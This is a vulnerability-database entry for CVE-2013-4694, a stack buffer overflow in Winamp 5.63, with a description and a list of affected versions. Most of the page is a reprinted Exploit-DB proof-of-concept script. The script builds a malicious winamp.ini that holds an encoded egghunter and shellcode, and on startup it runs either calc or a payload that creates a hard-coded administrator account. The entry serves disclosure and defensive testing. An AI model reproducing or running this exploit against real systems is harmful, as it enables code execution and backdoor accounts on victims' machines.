CVE-2013-4694

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Published 2014-04-16 ยท Modified 2026-05-06
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
8.5

Description

Stack-based buffer overflow in gen_jumpex.dll in Winamp before 5.64 Build 3418 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a package with a long Skin directory name. NOTE: a second buffer overflow involving a long GUI Search field to ml_local.dll was also reported. However, since it is only exploitable by the user of the application, this issue would not cross privilege boundaries unless Winamp is running under a highly restricted environment such as a kiosk.

Predictions

Exploit likelihood
20%
Patch ETA
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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-26558 dos windows verified
Julien Ahrens ยท 2013-07-02

Winamp 5.63 - Stack Buffer Overflow

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EDB-27874 local windows verified text ยท 9 KB
Ayman Sagy ยท 2013-08-26

Winamp 5.63 - 'winamp.ini' Local Overflow

text exploit Source: Exploit-DB
# Exploit Title: winampevilskin.py
# Date: 25 August 2013
# Exploit Author: Ayman Sagy <aymansagy@gmail.com>
# Vendor Homepage: http://www.winamp.com/
# Version: 5.63
# Tested on: Windows XP Professional SP3 Version 2002
# CVE : 2013-4694
#
# Ayman Sagy <aymansagy@gmail.com> August 2013
#
# This is an exploit for Bug #1 described in http://www.exploit-db.com/exploits/26558/
# Credit for discovering the vulnerability goes to Julien Ahrens from Inshell Security
# 
# The exploit will generate a winamp.ini file that will cause winamp to run the payload upon startup
#
#
# I tried an alpha3 encoded egghunter but could not fit it in a single buffer and unfortunately it did not work, it wrote an invalid address on the stack then tried to access it
# If you can make it work or find a solution for ASLR/DEP please contact me
# 
# So I wrote from scratch a venetian shellcode that will write the egghunter onto the stack then executes it
# The egg and shellcode can be found in plain ASCII in memory
#
# Tested against Windows XP Pro SP3
# Note: If you add winamp as an exception to DEP the return address becomes 0x003100F0 instead of 0x003000F0
# run with Python 2.7

import sys, getopt, os

def usage():
      print('winampevilskin.py by Ayman Sagy <aymansagy@gmail.com>\n')
      print('Usage: python ' + sys.argv[0] + ' -p <payload>')
      print('Payload could be:')
      print('\t[user] to create new admin account ayman/P@ssw0rd')
      print('\t[calc] run calculator')
      print('for e.g.: python ' + sys.argv[0] + ' -p user')


#appdata = os.environ['APPDATA']


# Windows add admin user: ayman P@ssw0rd
scadduser = ( b"\xbf\xab\xd0\x9a\x5b\xda\xc7\xd9\x74\x24\xf4\x5a\x2b\xc9" +
"\xb1\x45\x83\xc2\x04\x31\x7a\x11\x03\x7a\x11\xe2\x5e\x2c" +
"\x72\xd2\xa0\xcd\x83\x85\x29\x28\xb2\x97\x4d\x38\xe7\x27" +
"\x06\x6c\x04\xc3\x4a\x85\x9f\xa1\x42\xaa\x28\x0f\xb4\x85" +
"\xa9\xa1\x78\x49\x69\xa3\x04\x90\xbe\x03\x35\x5b\xb3\x42" +
"\x72\x86\x3c\x16\x2b\xcc\xef\x87\x58\x90\x33\xa9\x8e\x9e" +
"\x0c\xd1\xab\x61\xf8\x6b\xb2\xb1\x51\xe7\xfc\x29\xd9\xaf" +
"\xdc\x48\x0e\xac\x20\x02\x3b\x07\xd3\x95\xed\x59\x1c\xa4" +
"\xd1\x36\x23\x08\xdc\x47\x64\xaf\x3f\x32\x9e\xd3\xc2\x45" +
"\x65\xa9\x18\xc3\x7b\x09\xea\x73\x5f\xab\x3f\xe5\x14\xa7" +
"\xf4\x61\x72\xa4\x0b\xa5\x09\xd0\x80\x48\xdd\x50\xd2\x6e" +
"\xf9\x39\x80\x0f\x58\xe4\x67\x2f\xba\x40\xd7\x95\xb1\x63" +
"\x0c\xaf\x98\xe9\xd3\x3d\xa7\x57\xd3\x3d\xa7\xf7\xbc\x0c" +
"\x2c\x98\xbb\x90\xe7\xdc\x34\xdb\xa5\x75\xdd\x82\x3c\xc4" +
"\x80\x34\xeb\x0b\xbd\xb6\x19\xf4\x3a\xa6\x68\xf1\x07\x60" +
"\x81\x8b\x18\x05\xa5\x38\x18\x0c\xc6\xd3\x82\x81\x6d\x54" +
"\x2e\xfe\x42\xc7\x90\x90\xf9\x73\xf1\x19\x72\x19\x83\xc1" +
"\x15\x98\x0e\x63\xbb\x7a\x81\x23\x30\x08\x56\x94\xc4\x8a" +
"\xb8\xfb\x69\x17\xfd\x23\x4f\xb1\xdd\x4d\xea\xc9\x3d\xfe" +
"\x9b\x52\x5f\x92\x04\xe7\xf0\x1f\xba\x27\x4e\x84\x57\x41" +
"\x3e\x2d\xd4\xe5\xcc\xcc\x6e\x69\x43\x7c\xae\x14\xda\xef" +
"\xcf\xb8\x3c\xdf\x4e\x01\x79\x1f"
)

# http://shell-storm.org/shellcode/files/shellcode-739.php
sccalc = (b"\x31\xC9"+                # xor ecx,ecx
        "\x51"+                    # push ecx        
        "\x68\x63\x61\x6C\x63"+    # push 0x636c6163        
        "\x54"+                    # push dword ptr esp        
        "\xB8\xC7\x93\xC2\x77"+    # mov eax,0x77c293c7        
        "\xFF\xD0"
          )

if len(sys.argv) < 2:
      usage()
      exit(1)

try:
      opts, args = getopt.getopt(sys.argv[1:],'p:')
except getopt.GetoptError:
      usage()
      exit(1)
for opt, arg in opts:
      if opt == '-p':
            if arg == 'user':
                  shellcode = "aymnaymn" + "\x90" + "\x90" * 100 + scadduser + "\x90" * 89
            elif arg == "calc":
                  shellcode = "aymnaymn" + b"\x90" * 452 + b"\x90" + sccalc + b"\x90" * 23
            else:
                  print("Error: Invalid payload.\n")
                  usage()
                  sys.exit()


#print(str(len(shellcode)))

egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"+
"\xef\xb8\x61\x79\x6d\x6e\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

sploit = ( # Unicode-friendly venetian egghunter writer
                                    # Setup Registers
           "\x50\x72\x50"+          # push eax twice
           "\x72" +                 # align
           "\x59\x72\x5f"+          # pop ecx pop edi
           "\x72" +
           "\x05\xc2\x02\x01"+      # 05 00020001      ADD EAX,1000200
           "\x72"+
           "\x2d\xc2\x01\x01"+      # 2D 00010001      SUB EAX,1000100
                                    # EAX is now EAX+100
           "\x72\x48"+      # dec eax 4 times
           "\x72\x48"+
           "\x72\x48"+
           "\x72\x48\x72"+
                                    # Pave Ahead
                                    # write NOPs in locations that will stop later execution
           "\xc3\x86\xc2\x90"+      # C600 90          MOV BYTE PTR DS:[EAX],90
           "\x72\x40\x72"+          # 40               INC EAX
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x90"+
           "\x72\x40\x72"+
           
           "\xc2\x91"               # 91               XCHG EAX,ECX
           "\x72" +                 # align           
                                    # Start writing egghunter shellcode, EGG = aymn
           "\xc3\x86\x66"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x81"+ #81
           "\x72\x40\x72"+
           "\xc3\x86\xc3\x8a"+ #ca
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xbf"+
           "\x72\x40\x72"+
           "\xc3\x86\x0f"+
           "\x72\x40\x72"+
           "\xc3\x86\x42"+ # 42
           "\x72\x40\x72"+
           "\xc3\x86\x52"+
           "\x72\x40\x72"+
           "\xc3\x86\x6a"+
           "\x72\x40\x72"+
           "\xc3\x86\x02"+
           "\x72\x40\x72"+
           
           "\x34" * 4 +             # Padding
           "\xc3\xb0\x30"+          # 0x003000F0  CALL EAX winamp.exe WinXP Pro SP3
                                    # Note: If you add winamp as an exception to DEP the return address becomes 0x003100F0 instead of 0x003000F0

           "\x72"
           "\xc3\x86\x58"+ #58
           "\x72\x40\x72"+
           "\xc3\x86\xc3\x8d"+ #cd
           "\x72\x40\x72"+
           "\xc3\x86\x2e"+ #2e
           "\x72\x40\x72"+
           "\xc3\x86\x3c"+ # 3c
           "\x72\x40\x72"+
           "\xc3\x86\x05"+ # 5
           "\x72\x40\x72"+
           "\xc3\x86\x5a"+
           
           "\x72\x40\x72"+
           "\xc3\x86\x74"+
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xaf"+ # ef
           "\x72\x40\x72"+
           "\xc3\x86\xc2\xb8"+
           "\x72\x40\x72"+
           "\xc3\x86\x61"+
           "\x72\x40\x72"+
           "\xc3\x86\x79"+
           "\x72\x40\x72"+
           "\xc3\x86\x6d"+
           "\x72\x40\x72"+
           "\xc3\x86\x6e"+
           "\x72\x40\x72"+
           "\xc3\x86\xc2\x8b"+
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xba"+ #fa
           "\x72\x40\x72"+
           "\xc3\x86\xc2\xaf"+ # af
           "\x72\x40\x72"+
           "\xc3\x86\x75"+ #75
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xaa"+ #ea
           "\x72\x40\x72"+
           "\xc3\x86\xc2\xaf"+ # af
           "\x72\x40\x72"+
           "\xc3\x86\x75"+ #75
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xa7"+ # e7
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xbf"+ # ff
           "\x72\x40\x72"+
           "\xc3\x86\xc3\xa7"+ # e7
           "\x72"+
           "\x57"+                  # 57               PUSH EDI
           "\x72"+                  # align
           "\xc3\x83"+              # C3               RETN
           "\x34" * 200             # Padding
    )



winamp = ("[Winamp]\r\nutf8=1\r\n" +
"skin=" + sploit + "\r\n"
"[WinampReg]\r\nIsFirstInst=0\r\nNeedReg=0\r\n" +
          "[in_wm]\r\nnumtypes=7\r\n" +
          "type0=WMA\r\ndescription0=Windows Media Audio File (*.WMA)\r\n" +
          "protocol0=0\r\navtype0=0\r\n" +
          "type1=WMV\r\ndescription1=Windows Media Video File (*.WMV)\r\n" +
          "protocol1=0\r\navtype1=1\r\ntype2=ASF\r\n" +
          "description2=Advanced Streaming Format (*.ASF)\r\n" +
          "protocol2=0\r\navtype2=1\r\ntype3=MMS://\r\n" +
          "description3=Windows Media Stream\r\nprotocol3=1\r\n" +
          "avtype3=1\r\ntype4=MMSU://\r\n"
          "description4=Windows Media Stream\r\nprotocol4=1\r\n" +
          "avtype4=1\r\ntype5=MMST://\r\n" +
          "description5=Windows Media Stream\r\nprotocol5=1\r\n" +
          "avtype5=1\r\ntype5=" + "\x90\x90\xe9\x0f" + "\r\ndescription6=" +
          shellcode  + "\r\nprotocol6=0\r\navtype6=0\r\n")

#f = open(appdata + "\Winamp\winamp.ini", "wb") or sys.exit("Error creating winamp.ini")
f = open("winamp.ini", "wb") or sys.exit("Error creating winamp.ini")
f.write(winamp)
f.close()

print("winamp.ini written, copy it into %APPDATA%\\Winamp")

Application impact

VendorProductVersionsFixed
nullsoftwinamp{"endIncluding":"5.63"}
nullsoftwinamp0.20a
nullsoftwinamp0.92
nullsoftwinamp1.006
nullsoftwinamp1.90
nullsoftwinamp2.0
nullsoftwinamp2.6
nullsoftwinamp2.9
nullsoftwinamp2.10
nullsoftwinamp2.91
nullsoftwinamp2.92
nullsoftwinamp2.95
nullsoftwinamp5.0
nullsoftwinamp5.01
nullsoftwinamp5.1
nullsoftwinamp5.02
nullsoftwinamp5.2
nullsoftwinamp5.3
nullsoftwinamp5.03
nullsoftwinamp5.04
nullsoftwinamp5.05
nullsoftwinamp5.5
nullsoftwinamp5.06
nullsoftwinamp5.07
nullsoftwinamp5.08c
nullsoftwinamp5.08d
nullsoftwinamp5.08e
nullsoftwinamp5.09
nullsoftwinamp5.11
nullsoftwinamp5.12
nullsoftwinamp5.13
nullsoftwinamp5.21
nullsoftwinamp5.22
nullsoftwinamp5.23
nullsoftwinamp5.24
nullsoftwinamp5.31
nullsoftwinamp5.32
nullsoftwinamp5.33
nullsoftwinamp5.34
nullsoftwinamp5.35
nullsoftwinamp5.36
nullsoftwinamp5.51
nullsoftwinamp5.52
nullsoftwinamp5.53
nullsoftwinamp5.54
nullsoftwinamp5.55
nullsoftwinamp5.56
nullsoftwinamp5.57
nullsoftwinamp5.58
nullsoftwinamp5.59
nullsoftwinamp5.61
nullsoftwinamp5.091
nullsoftwinamp5.093
nullsoftwinamp5.094
nullsoftwinamp5.111
nullsoftwinamp5.112
nullsoftwinamp5.531
nullsoftwinamp5.541
nullsoftwinamp5.551
nullsoftwinamp5.552
nullsoftwinamp5.572
nullsoftwinamp5.581
nullsoftwinamp5.623

References

CWEs

CWE-119

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